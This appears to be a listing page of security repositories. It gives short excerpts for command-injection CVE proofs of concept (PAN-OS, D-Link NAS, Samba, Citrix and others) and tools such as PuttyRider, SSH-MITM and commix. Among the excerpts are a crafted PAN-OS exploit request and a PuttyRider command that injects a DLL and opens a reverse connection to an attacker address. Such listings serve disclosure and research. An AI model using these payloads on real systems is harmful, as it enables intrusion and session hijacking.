CVE-2024-21533-PoC-ggit

CVE-2024-21533 ggit 中的参数注入漏洞 ggit 这样描述自己： Local promise-returning git command wrappers 资源： 项目的 GitHub 源代码：https://github.com/bahmutov/ggit 项目的 npm 包：https://www.npmjs.com/package/ggit...

ssh-mitm

SSH-MITM - ssh 审计变得简单 一款用于授权安全审计的交互式 SSH 拦截工具。 拦截会话、监控实时流量、注入命令，并操控文件传输——全部实时完成。 !https://img.shields.io/mastodon/follow/109597663767801251?color=%236364FF&domain=https://defcon.social&label=Mastodon...

CVE-2023-20887

CVE-2023-20887 POC para CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight RCE no autenticado Análisis Técnico Se puede encontrar un análisis de causa raíz de la vulnerabilidad en mi blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 PAN-OS：GlobalProtect 中的操作系统命令注入漏洞 Pan-OS Checker 用于确定远程 GlobalProtect 门户或管理接口的 Palo Alto PAN-OS 软件版本。 运行脚本前，请确保 version-table.txt 位于同一目录下。 python3 panos-check.py -h -v -s -t TARGET...

Bughound

Bughound 是什么？ Bughound 是一款开源的静态代码分析工具，能够分析你的代码并将结果发送到 Elasticsearch 和 Kibana，从而让你获得代码中潜在漏洞的有用洞察。 Bughound 自带预配置的 Elasticsearch 和 Kibana Docker 镜像，其中包含为你发现的结果量身定制的仪表板。 你可以检测多种类型的漏洞，例如： 命令注入 XXE 不安全的反序列化 以及更多！ 目前 Bughound 能够分析 PHP 和 JAVA 代码，并包含这些语言的一组危险函数。 随着时间推移，我会确保不断添加更多函数/语言的支持，但目前主要精力放在项目的稳定性上...

CVE-2026-39808

CVE-2026-39808 Fortinet FortiSandbox 4.4.0-4.4.8 - 通过 tracer-behavior 端点实现的操作系统命令注入 Fortinet FortiSandbox 是一种高级威胁防护解决方案，它创建隔离环境来分析可疑文件、URL 和网络流量中的恶意行为。它结合了静态分析、动态分析、AI 驱动的机器学习以及来自 FortiGuard 的威胁情报，用于检测绕过传统基于签名的防御的零日威胁、规避型恶意软件、勒索软件和定向攻击。企业应部署 FortiSandbox...

CVE-2024-10915

CVE-2024-10915 - Exploit de Inyección de Comandos en D-Link NAS Este exploit basado en Python aprovecha una vulnerabilidad de inyección de comandos en varios productos D-Link NAS a través del endpoint /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. La vulnerabilidad permite a atacantes no autenticados...

CVE-2025-64328_FreePBX-framework-Command-Injection

CVE-2025-64328 FreePBX Inyección de Comandos Autenticada en el módulo framework Repositorio simple de prueba de concepto para CVE-2025-64328 FreePBX Inyección de Comandos Autenticada en el módulo framework. Artículo completo aquí:...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS命令注入 发送以下HTTP请求： POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0...

PuttyRider

PuttyRider 劫持Putty会话，用于嗅探对话并注入Linux命令。 下载 PuttyRider-bin.zip 文档 Defcamp 2014 演示文稿 - pdf Defcamp 2014 演示文稿 - 视频 示例 列出正在运行的Putty进程及其状态（已注入/未注入） PuttyRider.exe -l 将DLL注入到第一个找到的putty.exe中，并建立从DLL到我的IP:Port的反向连接，然后退出PuttyRider.exe。 PuttyRider.exe -p 0 -r 192.168.0.55:8080...

cve-2007-2447

CVE-2007-2447 前提条件 pysmb 信息 CVE-2007-2447 影响 Samba 3.0.0 至 3.0.25rc3 版本。它允许攻击者在用户名参数中执行 shell 命令。 用法 开启一个你选择的监听端口，在脚本中设置好变量，然后执行脚本。...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 漏洞利用脚本 该 Python 脚本可自动化利用 Magnus Billing System v7 中的命令注入漏洞，该漏洞位于 /mbilling/lib/icepay/icepay.php 脚本的 icepay.php 中。利用程序通过 democ 参数在目标系统上执行任意命令，最终在攻击者控制的机器上建立反向 shell。 漏洞概述 该漏洞允许未认证的攻击者通过精心构造的 GET 请求进行命令注入。原始概念验证（PoC）使用了以下 curl 命令： curl -s...

CVE-2020-8250

CVE-2020-8250：通过命令注入在 Pulse Secure VPN Linux 客户端中实现权限提升 root SUID 可执行文件 pulsesvc 中有一个名为“doupload”的函数，该函数会不安全地将“HOME”环境变量传递给“system”。通过将“HOME”变量修改为包含特殊 shell 字符（例如：“”或“$”），攻击者可以在调用“doupload”时注入任意命令，并将其权限提升至 root。 NVD 披露： 该漏洞的 NVD 披露可在此处查看。 要求： 该漏洞利用针对的是客户端认证后才会访问到的代码，这意味着要利用此漏洞，攻击者需要满足以下 3 种场景之一：...

VulnLab

VulnLab 由 Yavuzlar 开发的一个 Web 漏洞实验项目。 Logo 漏洞列表 SQL 注入 跨站脚本攻击 XSS 命令注入 不安全的直接对象引用 IDOR 跨站请求伪造 CSRF XML 外部实体注入 XXE 不安全反序列化 文件上传 文件包含 认证失效 竞态条件 服务端模板注入 SSTI API 攻击 验证码绕过 路径遍历 安装 使用 DockerHub 安装 1. 如果你想在 DockerHub 上安装，只需输入以下命令。 docker run --name vulnlab -d -p 1337:80 yavuzlar/vulnlab:latest 2. 访问...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2022-30525

CVE-2022-30525（Zyxel防火墙远程命令注入） 一个基于Python的CVE-2022-30525漏洞利用工具 漏洞摘要（NIST） Zyxel USG FLEX 100W 固件版本 5.00 至 5.21 Patch 1（含）、USG FLEX 200 固件版本 5.00 至 5.21 Patch 1（含）、USG FLEX 500 固件版本 5.00 至 5.21 Patch 1（含）、USG FLEX 700 固件版本 5.00 至 5.21 Patch 1（含）、USG FLEX 50W 固件版本 5.10 至 5.21 Patch 1（含）、USG20W-VPN...

CVE-2016-5640

CVE-2016-5640 Crestron AirMedia AM-100 RCE CVE-2016-5640 Metasploit 模块 用于利用 Crestron AirMedia AM-100 设备（固件版本 1.4.0.13）无线诊断页面中的远程命令注入漏洞的模块。命令以运行服务的账户身份执行（即通常为 root）。这是我编写的一个旧漏洞利用模块，目的是积累编写检查和使用 cmdstager 的经验。 原始漏洞披露和报告的功劳应归功于...

Exploit_CVE-2025-37164

ExploitCVE-2025-37164 ! 本脚本仅供教育目的使用 Exploit for the CVE-2025-37164 描述： 本脚本为影响 HPE OneView 的 CVE-2025-37164 提供了一个简单的利用，可用于验证资产是否存在漏洞。 用法： git clone https://github.com/LACHHAB-Anas/ExploitCVE-2025-37164.git cd ExploitCVE-2025-37164 pip install requests 运行脚本请使用： python3 CVE-2025-37164.py "" 或 python...

CVE-2019-19781-CitrixRCE

Citrix未授权远程代码执行攻击工具 - CVE-2019-19781 参考资料： https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ 绕过方式： 1 - 已删除/修改的脚本位于：/vpn/../vpns/portal/scripts/ 2 - Perl命令注入（模板注入）攻击后出现的正斜杠（"/"）问题...